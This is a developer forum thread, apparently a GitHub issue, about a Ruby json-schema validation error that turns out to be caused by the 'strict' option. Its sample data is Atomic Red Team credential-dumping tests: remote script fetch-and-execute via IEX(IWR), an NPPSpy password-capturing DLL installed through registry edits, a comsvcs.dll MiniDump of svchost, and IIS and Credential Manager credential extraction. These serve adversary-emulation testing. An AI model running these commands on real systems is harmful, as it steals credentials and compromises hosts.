A non-required property is causing validation failure

[MSAdministrator]

Hello, I have written a JSON Schema for a project and currently is failing to validate stating that property (input_arguments) basically should be present but it is not required.

Schema

Here is the JSON Schema (in yaml):

title: Atomic Schema
description: A schema for atomics within the atomic-red-team project
type: object
properties:
  attack_technique:
    description: A MITRE ATT&CK Technique ID with a capital T
    type: string
    format: technique_id
  display_name:
    description: Name of the technique as defined by ATT&CK.
    type: string
  atomic_tests:
    description: One or more Atomic tests for a technique
    type: array
    items:
      $ref: "#/$defs/test"
    minItems: 1
    uniqueItems: true
$defs:
  test:
    type: object
    required:
      - name
      - description
      - supported_platforms
    properties:
      name:
        type: string
        description: The name of the test.
      auto_generated_guid:
        type: string
        description: A unique test GUID
      description:
        type: string
        description: A description about the test
      supported_platforms:
        type: array
        description: One or more supported operating system platforms for this test
        uniqueItems: true
        items:
          type: string
          enum:
            - windows
            - macos
            - linux
            - office-365
            - azure-ad
            - google-workspace
            - saas
            - iaas
            - containers
            - iaas:gcp
            - iaas:azure
            - iaas:aws
      input_arguments:
        type: object
        unique: true
        patternProperties:
          "^[a-zA-Z0-9]*$":
            type: object
            anyOf:
              - type: object
                properties:
                  description:
                    type: string
                  type:
                    type: string
                    enum:
                      - "path"
                  default:
                    type:
                      - string
                      - "null"
                required:
                  - description
                  - type
                  - default
              - type: object
                properties:
                  description:
                    type: string
                  type:
                    type: string
                    enum:
                      - "url"
                  default:
                    type:
                      - string
                      - "null"
                required:
                  - description
                  - type
                  - default
              - type: object
                properties:
                  description:
                    type: string
                  type:
                    type: string
                    enum:
                      - "string"
                  default:
                    type:
                      - string
                      - "null"
                required:
                  - description
                  - type
                  - default
              - type: object
                properties:
                  description:
                    type: string
                  type:
                    type: string
                    enum:
                      - "integer"
                  default:
                    type:
                      - number
                      - "null"
                required:
                  - description
                  - type
                  - default
              - type: object
                properties:
                  description:
                    type: string
                  type:
                    type: string
                    enum:
                      - "float"
                  default:
                    type:
                      - number
                      - "null"
                required:
                  - description
                  - type
                  - default
      dependency_executor_name:
        type: string
        enum:
          - command_prompt
          - powershell
          - sh
          - bash
          - manual
      dependencies:
        type: array
        unique: true
        items:
          type: object
          properties:
            description:
              type: string
            prereq_command:
              type: string
            get_prereq_command:
              type: string
          required:
            - description
            - prereq_command
            - get_prereq_command
      executor:
        type: object
        items:
          anyOf:
            - type: object
              properties:
                name:
                  type: string
                  enum:
                    - command_prompt
                    - powershell
                    - sh
                    - bash
                elevation_required:
                  type: boolean
                command:
                  type: string
                cleanup_command:
                  type: string
              required:
                - name
                - command
            - type: object
              properties:
                name:
                  type: string
                  enum:
                    - manual
                command:
                  type: string
                elevation_required:
                  type: boolean
                cleanup_command:
                  type: string
                steps:
                  type: array
              required:
                - name
                - steps

Test Data

Here is a test JSON data that should be validated against the schema (above).

attack_technique: T1003
display_name: OS Credential Dumping
atomic_tests:

- name: Gsecdump
  auto_generated_guid: 96345bfc-8ae7-4b6a-80b7-223200f24ef9
  description: |
    Dump credentials from memory using Gsecdump.

    Upon successful execution, you should see domain\username's followed by two 32 character hashes.

    If you see output that says "compat: error: failed to create child process", execution was likely blocked by Anti-Virus. 
    You will receive only error output if you do not run this test from an elevated context (run as administrator)

    If you see a message saying "The system cannot find the path specified", try using the get-prereq_commands to download and install Gsecdump first.
  supported_platforms:
  - windows
  input_arguments:
    gsecdump_exe:
      description: Path to the Gsecdump executable
      type: path
      default: PathToAtomicsFolder\T1003\bin\gsecdump.exe
    gsecdump_bin_hash:
      description: File hash of the Gsecdump binary file
      type: string
      default: 94CAE63DCBABB71C5DD43F55FD09CAEFFDCD7628A02A112FB3CBA36698EF72BC
    gsecdump_url:
      description: Path to download Gsecdump binary file
      type: url
      default: https://web.archive.org/web/20150606043951if_/http://www.truesec.se/Upload/Sakerhet/Tools/gsecdump-v2b5.exe
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Gsecdump must exist on disk at specified location (#{gsecdump_exe})
    prereq_command: |
      if (Test-Path #{gsecdump_exe}) {exit 0} else {exit 1}
    get_prereq_command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      $parentpath = Split-Path "#{gsecdump_exe}"; $binpath = "$parentpath\gsecdump-v2b5.exe"
      IEX(IWR "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-WebRequestVerifyHash.ps1" -UseBasicParsing)
      if(Invoke-WebRequestVerifyHash "#{gsecdump_url}" "$binpath" #{gsecdump_bin_hash}){
        Move-Item $binpath "#{gsecdump_exe}"
      }
  executor:
    command: |
      #{gsecdump_exe} -a
    name: command_prompt
    elevation_required: true

- name: Credential Dumping with NPPSpy
  auto_generated_guid: 9e2173c0-ba26-4cdf-b0ed-8c54b27e3ad6
  description: |-
    Changes ProviderOrder Registry Key Parameter and creates Key for NPPSpy.
    After user's logging in cleartext password is saved in C:\NPPSpy.txt.
    Clean up deletes the files and reverses Registry changes.
    NPPSpy Source: https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy
  supported_platforms:
  - windows
  dependency_executor_name: powershell
  dependencies:
  - description: NPPSpy.dll must be available in local temp directory
    prereq_command: if (Test-Path "$env:Temp\NPPSPY.dll") {exit 0} else {exit 1}
    get_prereq_command: |-
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      Invoke-WebRequest -Uri https://github.com/gtworek/PSBits/raw/f221a6db08cb3b52d5f8a2a210692ea8912501bf/PasswordStealing/NPPSpy/NPPSPY.dll -OutFile "$env:Temp\NPPSPY.dll"
  executor:
    command: |-
      Copy-Item "$env:Temp\NPPSPY.dll" -Destination "C:\Windows\System32"
      $path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
      $UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy"
      Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValue
      $rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy -ErrorAction Ignore
      $rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -ErrorAction Ignore
      $rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Class" -Value 2 -ErrorAction Ignore
      $rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Name" -Value NPPSpy -ErrorAction Ignore
      $rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\NPPSPY.dll" -ErrorAction Ignore
      echo "[!] Please, logout and log back in. Cleartext password for this account is going to be located in C:\NPPSpy.txt"
    cleanup_command: |-
      $cleanupPath = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
      $cleanupUpdatedValue = $cleanupPath.PROVIDERORDER 
      $cleanupUpdatedValue = $cleanupUpdatedValue -replace ',NPPSpy',''
      Set-ItemProperty -Path $cleanupPath.PSPath -Name "PROVIDERORDER" -Value $cleanupUpdatedValue
      Remove-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy" -Recurse -ErrorAction Ignore
      Remove-Item C:\NPPSpy.txt -ErrorAction Ignore
      Remove-Item C:\Windows\System32\NPPSpy.dll -ErrorAction Ignore
    name: powershell
    elevation_required: true

- name: Dump svchost.exe to gather RDP credentials
  auto_generated_guid: d400090a-d8ca-4be0-982e-c70598a23de9
  description: |
    The svchost.exe contains the RDP plain-text credentials.
    Source: https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/

    Upon successful execution, you should see the following file created $env:TEMP\svchost-exe.dmp.
  supported_platforms:
  - windows
  executor:
    command: |
      $ps = (Get-NetTCPConnection -LocalPort 3389 -State Established -ErrorAction Ignore)
      if($ps){$id = $ps[0].OwningProcess} else {$id = (Get-Process svchost)[0].Id }
      C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump $id $env:TEMP\svchost-exe.dmp full
    cleanup_command: |
      Remove-Item $env:TEMP\svchost-exe.dmp -ErrorAction Ignore
    name: powershell
    elevation_required: true
- name: Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using list)
  auto_generated_guid: 6c7a4fd3-5b0b-4b30-a93e-39411b25d889
  description: |-
    AppCmd.exe is a command line utility which is used for managing an IIS web server. The list command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes.
    [Reference](https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA)
  supported_platforms:
  - windows
  dependency_executor_name: powershell
  dependencies:
  - description: IIS must be installed prior to running the test
    prereq_command: if ((Get-WindowsFeature Web-Server).InstallState -eq "Installed") {exit 0} else {exit 1}
    get_prereq_command: |-
      Install-WindowsFeature -name Web-Server -IncludeManagementTools
  executor:
    command: |-
      C:\Windows\System32\inetsrv\appcmd.exe list apppool /@t:*
      C:\Windows\System32\inetsrv\appcmd.exe list apppool /@text:*
      C:\Windows\System32\inetsrv\appcmd.exe list apppool /text:*
    name: powershell
    elevation_required: true
- name: Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using config)
  auto_generated_guid: 42510244-5019-48fa-a0e5-66c3b76e6049
  description: |-
    AppCmd.exe is a command line utility which is used for managing an IIS web server. The config command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes.
    [Reference](https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA)
  supported_platforms:
  - windows
  dependency_executor_name: powershell
  dependencies:
  - description: IIS must be installed prior to running the test
    prereq_command: if ((Get-WindowsFeature Web-Server).InstallState -eq "Installed") {exit 0} else {exit 1}
    get_prereq_command: |-
      Install-WindowsFeature -name Web-Server -IncludeManagementTools
  executor:
    command: |-
      C:\Windows\System32\inetsrv\appcmd.exe list apppool /config
    name: powershell
    elevation_required: true

- name: Dump Credential Manager using keymgr.dll and rundll32.exe
  auto_generated_guid: 84113186-ed3c-4d0d-8a3c-8980c86c1f4a
  description: |-
    This test executes the exported function `KRShowKeyMgr` located in `keymgr.dll` using `rundll32.exe`. It opens a window that allows to export stored Windows credentials from the credential manager to a file (`.crd` by default). The file can then be retrieved and imported on an attacker-controlled computer to list the credentials get the passwords. The only limitation is that it requires a CTRL+ALT+DELETE input from the attacker, which can be achieve multiple ways (e.g. a custom implant with remote control capabilities, enabling RDP, etc.).
    Reference: https://twitter.com/0gtweet/status/1415671356239216653
  supported_platforms:
  - windows
  executor:
    command: rundll32.exe keymgr,KRShowKeyMgr
    name: powershell

Error

The error received is

Attempting to validate Atomic Test ./atomics/T1003/T1003.yaml.
Error of type 'JSON::Schema::ValidationError' occurred.

The property '#/atomic_tests/1' did not contain a required property of 'input_arguments'
/Users/user/.asdf/installs/ruby/3.2.0/lib/ruby/gems/3.2.0/gems/json-schema-3.0.0/lib/json-schema/attribute.rb:18:in `validation_error': The property '#/atomic_tests/1' did not contain a required property of 'input_arguments' (JSON::Schema::ValidationError)

Code

Here is a ruby script to run the validation

#! /usr/bin/env ruby
$LOAD_PATH << "#{File.dirname(File.dirname(File.dirname(__FILE__)))}/atomic_red_team" unless $LOAD_PATH.include? "#{File.dirname(File.dirname(__FILE__))}/atomic_red_team"
require 'yaml'
require 'atomic_red_team'
require "json"
require "json-schema"

# Creating a new AtomicRedTeam Ruby object to use the generate_guids_for_yaml! method.
ATOMIC_RED_TEAM = AtomicRedTeam.new
USED_GUIDS_FILE = "#{File.dirname(File.dirname(File.dirname(__FILE__)))}/atomics/used_guids.txt"
unique_guid_array = []

schema_file = File.open("./bin/validate/atomic-red-team.schema.yaml").read
schema = YAML.load(schema_file)

# Validating that the attack_technique property is in the correct format. This is based off of the `format: technique_id` attribute in the schema.

format_proc = -> value {
  raise JSON::Schema::CustomFormatError.new("Must be T1234 format.") unless value.match("T#{/[0-9]/}") or value.match("T#{/[0-9]/}\./[0-9]/")
}
# register the proc for format 'technique_id' for schema
JSON::Validator.register_format_validator("technique_id", format_proc)

Dir.glob("./atomics/T*/T*.yaml").each do |atomic_test|
    puts "Attempting to validate Atomic Test #{atomic_test}."
    file = File.open(atomic_test).read
    yaml = YAML.load(file)
    begin
        JSON::Validator.validate!(schema, yaml, :strict => true, :clear_cache => true)
    rescue JSON::Schema::ValidationError => e
        puts "Error of type '#{e.class}' occurred."
        puts "\n#{e.message}"
        raise
    rescue JSON::Schema::JsonParseError => e
        puts e
        raise
    end
    JSON::Validator::fully_validate(schema, yaml, :errors_as_objects => true)
    puts "Successfully validated Atomic Test #{atomic_test}."
end

Any help would be appreciated!

[a-lavis]

I think it is because you are using strict:

        JSON::Validator.validate!(schema, yaml, :strict => true, :clear_cache => true)

The strict option does two things:

1. All Properties are Required
2. Additional Properties are Not Permitted

Because of number 1, it will ignore what you set in the required field. All fields are required regardless.

In the future, you might want to take advantage of this new feature in json-schema: #494. You might want to use noAdditionalProperties instead of strict.